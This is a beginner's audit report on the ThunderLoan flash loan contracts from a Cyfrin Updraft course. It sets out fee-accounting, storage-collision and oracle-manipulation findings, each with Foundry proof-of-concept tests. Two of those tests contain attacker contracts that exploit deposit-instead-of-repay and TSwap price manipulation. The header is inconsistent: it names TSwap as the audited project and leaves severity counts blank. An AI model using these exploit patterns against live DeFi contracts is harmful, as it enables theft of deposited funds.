Smart Contract Security Audit Report

TSwap

Audit Date: May 21, 2026

Auditor: BlockChainBabbie
Commit Hash: `8803f851f6b37e99eab2e94b4690c8b70e26b3f6`

Executive Summary

Total Issues Found:
Critical:
High: 4
Medium: 1
Low:
Informational/Gas:

Overall Risk Rating: High

Status: Fixed | 0 Acknowledged | 0 In Progress

Scope

Contracts in Scope:

Contract	File Path	Lines of Code
IFlashLoanReceiver.sol	`src/interfaces/IFlashLoanReceiver.sol`	4
IPoolFactory.sol	`src/interfaces/IPoolFactory.sol`	3
ITSwapPool.sol	`src/interfaces/ITSwapPool.sol`	3
IThunderLoan.sol	`src/interfaces/IThunderLoan.sol`	3
AssetToken.sol	`src/protocol/AssetToken.sol`	41
OracleUpgradeable.sol	`src/protocol/OracleUpgradeable.sol`	18
ThunderLoan.sol	`src/protocol/ThunderLoan.sol`	129
ThunderLoanUpgraded.sol	`src/upgradedProtocol/ThunderLoanUpgraded.sol`	127
...	...	...

Audit Methodology

- Thorough manual code review
- Static analysis (Slither)
- Unit testing (Foundry)

Findings Summary

Severity	Count	Fixed	Acknowledged
Critical	0	0	0
High	4	4	0
Medium	1	1	0
Low	0	0	0
Informational			0

Detailed Findings

Highs

[H-01] The `ThunderLoan::deposit` function updates the fee as a Liquidity Provider deposit tokens, which lead to inaccurate calculation off few incured by the Liquidity Provider

Description

The deposit function allows the liquidity provider to deposit token and as an incentive, the fees from the user borrowing flash loans.
However the line `assetToken.updateExchangeRate(calculatedFee);` change the fee in the loan, without borrowing. This leads to miscalculate of fee incurred by the Liquidity Provider.

Impact

This hinders the Liquidity Provider from being able to redeem/withdraw the appropriate amounts of fee

Proof Of Concept

```
function test__depositThenRedeemFees() public setAllowedToken {
        vm.startPrank(liquidityProvider);
        uint256 depositAmount = 1000e18;

        //Give the liquidity provider tokenA to deposit
        tokenA.mint(liquidityProvider, depositAmount );

        //The liquidity provider deposit the deposit
        tokenA.approve(address(thunderLoan), depositAmount );
        thunderLoan.deposit(tokenA, depositAmount);

        vm.stopPrank();

        //A user takes a flashloan then repaying and amount incuring fees
        vm.startPrank(user);
        uint256 amountToBorrow = AMOUNT * 10;
        tokenA.mint(address(mockFlashLoanReceiver), AMOUNT);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA, amountToBorrow, "");
        vm.stopPrank();

        //The liquidity provider then wants tokenA and fee that the protocol promised
        vm.startPrank(liquidityProvider);

        //redeem total fee
        uint256 redeemTotalAmount = type(uint256).max;
        thunderLoan.redeem(tokenA, redeemTotalAmount);

        vm.stopPrank();
    }
```

This test revert with an ERC20InsufficientBalance because the liquidity provider doesnt have enough `amountUnderlying` token to redeem.

```
|   |   ├─ [3827] AssetToken::transferUnderlyingTo(0x000000000000000000000000000000000000007B, 1003300900000000000000 [1.003e21])
|   |   |   ├─ [1563] ERC20Mock::transfer(0x000000000000000000000000000000000000007B, 1003300900000000000000 [1.003e21])
|   |   |   |   └─ ← [Revert] ERC20InsufficientBalance(0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c, 1000300000000000000000 [1e21], 100
|   |   |   └─ ← [Revert] ERC20InsufficientBalance(0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c, 1000300000000000000000 [1e21], 100330
|   |   └─ ← [Revert] ERC20InsufficientBalance(0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c, 1000300000000000000000 [1e21], 10033009000
|   └─ ← [Revert] ERC20InsufficientBalance(0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c, 1000300000000000000000 [1e21], 100330900000000
└─ ← [Revert] ERC20InsufficientBalance(0xa38D17ef017A314cCD72b8F199C0e108EF7Ca04c, 1000300000000000000000 [1e21], 100330900000000000
```

Mitigation

It will be to remove the following lines

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();
        uint256 mintAmount = (amount * assetToken.EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);
-       uint256 calculatedFee = getCalculatedFee(token, amount);
-       assetToken.updateExchangeRate(calculatedFee);
        token.safeTransferFrom(msg.sender, address(assetToken), amount);
    }
```

[H-02] Incurrent accounting when repaying flash loans

Description

A malicious user can take a flashloan and then call deposit the borrow value back into ThunderLoan which will then be minted asset tokens and then they can redeem the token they deposit.

Impact

This allows a malicious user to borrow from the ThunderLoan then deposit then of repay, this satisfies this line of code

`if (endingBalance < startingBalance + fee) { revert ThunderLoan__NotPaidBack(startingBalance + fee, endingBalance); }`

regardless of how it is achieved.

ProofOfConcept

Add this in to the `ThunderLoanTest.t.sol`

```
function test__depositInsteadOfRepay() public  setAllowedToken hasDeposits{
        uint256 amountToBorrow = 50e18;

        vm.startPrank(user);
        MaliciousRepay mar = new MaliciousRepay(thunderLoan);

        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);
        tokenA.mint(address(mar), calculatedFee );

        thunderLoan.flashloan(address(mar), tokenA, amountToBorrow , "");
        mar.redeem();
        vm.stopPrank();

        uint256 balanceAfterRedeem = tokenA.balanceOf(address(mar));
        console.log("balanceAfterRedeem:", balanceAfterRedeem);
         assert(tokenA.balanceOf(address(mar)) > calculatedFee);
        }
```

Then this is the `MaliciousRepay`

```
contract MaliciousRepay is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    AssetToken asset;
    IERC20 s_token;

    constructor(ThunderLoan _thunderLoan) {
        thunderLoan = _thunderLoan;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        s_token = IERC20(token);
        asset = thunderLoan.getAssetFromToken(IERC20(token));
        IERC20(token).approve(address(thunderLoan), amount + fee);
        thunderLoan.deposit(IERC20(token), amount + fee);

        return true;
    }

    function redeem() public {
        uint256 amount = asset.balanceOf(address(this));
        thunderLoan.redeem(s_token, amount);
        console.log("Amount:", amount);
    }
}
```

Mitigation

This modifier should be added to avoid the depositing when currently flashloaning

```
modifier revertIfCurrentlyFlashLoaning(IERC20 token ) {
    if (s_currentlyFlashLoaning[token]) {
            revert ThunderLoan__CurrentlyFlashLoaning(token);
        }
        _;
}
function deposit(IERC20 token, uint256 amount) external revertIfZero(amount)
revertIfNotAllowedToken(token)
+ revertIfCurrentlyFlashLoaning(token)
```

[H-03] In the `ThunderLoan::getCalculatedFee` fucntion we calculate fee incurrently

Description

This function is key in calculating fees all through the contract however it calculates the `valueOfBorrowedToken` by mutilpying the amount by the `getPriceInWeth` instead of the price or value in tokens.

Impact

Incurrent calculation of fee affects then contract all through.

It is important to makr sure that the fee are calculate properly

Mitigation

```
function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
        //slither-disable-next-line divide-before-multiply
-        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
+        uint256 valueOfBorrowedToken = (amount * getPriceInPoolToken(address(token))) / s_feePrecision;
        //slither-disable-next-line divide-before-multiply
        fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }
```

[H-04] Storage Collision when the upgraded to `ThunderLoanUpgraded.sol`

Description

The storage slot in the proxies have already be configured when using the `ThunderLoan`.

However the storage slot in `ThunderLoanUpgraded.sol` are not equal thereby leading to collision of storage variable and returning wrong value.

Impact

In an attempt to upgrade the contract, we the shuffle the storage slot with wrong value.

Which can lead to catastrophic event like inaccurate fee and the mapping for `s_currentlyFlashLoaning` will be all wrong.

ProofOfConcept

```
  function testUpgradeCollisions() public {
        bytes32 storageSlotBeforeUpgrade = vm.load(address(thunderLoan), bytes32(uint256(0)));
        ThunderLoanUpgraded thunderLoanUp = new ThunderLoanUpgraded();
        vm.prank(thunderLoan.owner());
        thunderLoan.upgradeToAndCall(address(thunderLoanUp), "");
        bytes32 storageSlotAfterUpgrade = vm.load(address(thunderLoanUp), bytes32(uint256(0)));

        console.log("storageSlotBeforeUpgrade:", uint256(storageSlotBeforeUpgrade));
        console.log("storageSlotAfterUpgrade:", uint256(storageSlotAfterUpgrade));

        assert(storageSlotBeforeUpgrade != storageSlotAfterUpgrade);
    }
```

Mitigation

Arrange the storage slot `ThunderLoanUpgraded.sol` according to the previous contract `ThunderLoan` annd if we need to add storage slot we add them to the bottom of the list

uint256 private s_feePrecision;

uint256 private s_flashLoanFee;

```
-    uint256 private s_flashLoanFee; // 0.3% ETH fee
-    uint256 public constant FEE_PRECISION = 1e18;

+  uint256 public blank;
+  uint256 private s_flashLoanFee;
+  uint256 public constant FEE_PRECISION = 1e18;
```

[M-01] In the contract gets it's price info from a DEX that it price can be manipulated to by pass the correct ammount of fee

Description

The contract gets off-chain info from DEX called TSwap which price can be manipulated and therefore getting a flashloan and not paying the

correct amount of fees.

Impact
A malicious user can call a flashloan from Thunderloan or another flash loan contract to get large amount of token for the space of one transaction. With this an enormous amount of tokens, then deposit it into the DEX (TSwap) and mess up the price of the PoolToken against WETH. The same attacker then calls ThunderLoan and then doesn't may the appropriate amount of fee because it is the getCalculatedFee get information from a vulnerable DEX.

ProofOfConcept
Add these to the test folder

```
function testOracleManipulation() public {
        //ARRANGE//
        weth = new ERC20Mock();
        tokenA = new ERC20Mock();
        ThunderLoan thunderLoan = new ThunderLoan();
        BuffMockPoolFactory poolFactory = new BuffMockPoolFactory(address(weth));

        address tswap = poolFactory.createPool(address(tokenA));
        ERC1967Proxy proxy = new ERC1967Proxy(address(thunderLoan), "");
        thunderLoan = ThunderLoan(address(proxy));
        thunderLoan.initialize(address(poolFactory));

        //Fund the pool(DEX)
        uint256 reserveAmount = 1000e18;
        vm.startPrank(liquidityProvider);
        weth.mint(liquidityProvider, reserveAmount);
        weth.approve(address(tswap), reserveAmount);

        tokenA.mint(liquidityProvider, reserveAmount);
        tokenA.approve(address(tswap), reserveAmount);

        BuffMockTSwap(tswap).deposit(reserveAmount, reserveAmount, reserveAmount, block.timestamp);
        vm.stopPrank();

        //Allow tokens
        vm.prank(thunderLoan.owner());
        thunderLoan.setAllowedToken(tokenA, true);

        //Fund the Loan contract
        uint256 tokensInLoanContract = 10_000e18;
        vm.startPrank(liquidityProvider);
        tokenA.mint(liquidityProvider, tokensInLoanContract);
        tokenA.approve(address(thunderLoan), tokensInLoanContract);
        thunderLoan.deposit(tokenA, tokensInLoanContract);
        vm.stopPrank();

        //SetUp Act//
        uint256 amountToBorrow = 80e18;
        uint256 amountOnce = 40e18;
        address repayAddr = address(thunderLoan.getAssetFromToken(tokenA));
        MaliciousReciever mr = new MaliciousReciever(thunderLoan, repayAddr, BuffMockTSwap(tswap));
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA, amountToBorrow);

        //Act
        vm.startPrank(user);
        tokenA.mint(address(mr), 50e18);
        thunderLoan.flashloan(address(mr), tokenA, amountOnce, "");
        vm.stopPrank();

        //Assert && log
        console.log("Normal Fees:", calculatedFee);
        uint256 totalAttackfee = mr.feeOne() + mr.feeTwo();
        console.log("Fee during the attack", totalAttackfee);
        assert(totalAttackfee < calculatedFee);
    }
```

```
contract MaliciousReciever is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tswap;
    bool attacked;

    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(ThunderLoan _thunderLoan, address _repayAddress, BuffMockTSwap _tswap) {
        thunderLoan = _thunderLoan;
        repayAddress = _repayAddress;
        tswap = _tswap;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address, /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            //We have disrupted the (DEX) that bring in info about fees
            IERC20(token).approve(address(tswap), amount);
            tswap.swapPoolTokenForWethBasedOnInputPoolToken(amount, 1, block.timestamp);

            //We call another flashloan
            thunderLoan.flashloan(address(this), IERC20(token), amount, "");

            //Then we repay but we cant repay with the repay function or just transfer
            IERC20(token).transfer(repayAddress, amount + fee);
        } else {
            feeTwo = fee;
            IERC20(token).transfer(repayAddress, amount + fee);
        }
        return true;
    }
}
```

Mitigation

Use an off-chain oracle like the Chainlink or use a DEX that use TWAP(Time Weight Average Pricing).

Summary

This report represents an early-stage independent security review conducted as part of my practical learning journey in smart contract security and auditing. The focus of this review was to improve my understanding of protocol design, invariant testing, MEV considerations, and vulnerability discovery through hands-on analysis.

The findings included in this report were identified through a combination of:

manual code review
static analysis

fuzzing
invariant testing using Foundry

This work was carried out while following the Cyfrin Updraft curriculum, with guidance and walkthrough support from Patrick Collins, which helped shape my approach to testing and protocol reasoning.